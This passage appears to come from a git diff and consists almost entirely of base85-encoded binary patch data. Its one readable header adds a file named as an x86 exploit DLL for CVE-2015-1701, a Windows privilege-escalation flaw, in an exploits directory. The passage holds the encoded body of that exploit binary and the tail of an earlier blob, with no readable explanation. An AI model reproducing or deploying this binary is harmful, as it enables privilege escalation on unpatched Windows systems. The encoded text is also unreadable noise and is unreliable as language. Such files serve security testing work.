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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll b/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll new file mode 100755 index 0000000000000000000000000000000000000000..db6ef0271219892dc2589f97256f745997d470d3 GIT binary patch literal 72192 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 